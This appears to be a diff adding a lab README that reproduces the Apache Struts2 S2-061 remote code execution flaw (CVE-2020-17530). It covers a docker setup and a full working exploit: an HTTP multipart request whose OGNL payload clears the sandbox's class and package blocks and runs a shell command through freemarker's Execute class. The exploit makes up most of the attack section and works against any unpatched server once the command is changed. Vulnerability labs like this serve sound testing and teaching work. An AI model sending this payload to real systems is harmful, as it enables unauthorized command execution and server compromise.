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+# Struts2 S2-061 Remote Code Execution Vulnerablity (CVE-2020-17530)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+In the versions prior to Struts 2.5.25, when evaluated on raw user input in tag attributes, may lead to remote code execution.
+
+This vulnerability is the bypass of the OGNL sandbox, which enhance after S2-059.
+
+References:
+
+- https://cwiki.apache.org/confluence/display/WW/S2-061
+- https://github.com/ka1n4t/CVE-2020-17530
+- https://www.anquanke.com/post/id/225252
+- https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g
+
+## Setup
+
+Start a Struts 2.5.25 server:
+
+```
+docker compose up -d
+```
+
+After the environment is started, visit `http://your-ip:8080/` and you will see a simple page. It is just a copy application of the [S2-059](https://github.com/vulhub/vulhub/tree/master/struts2/s2-059), except for the different Struts versions.
+
+## Exploit
+
+Send the following request to execute the `id` command:
+
+```
+POST /index.action HTTP/1.1
+Host: localhost:8080
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
+Connection: close
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
+Content-Length: 829
+
+------WebKitFormBoundaryl7d1B1aGsV2wcZwF
+Content-Disposition: form-data; name="id"
+
+%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
+------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
+```
+
+It can be seen that the result of the `id` command will be displayed on the page:
+
+![](1.png)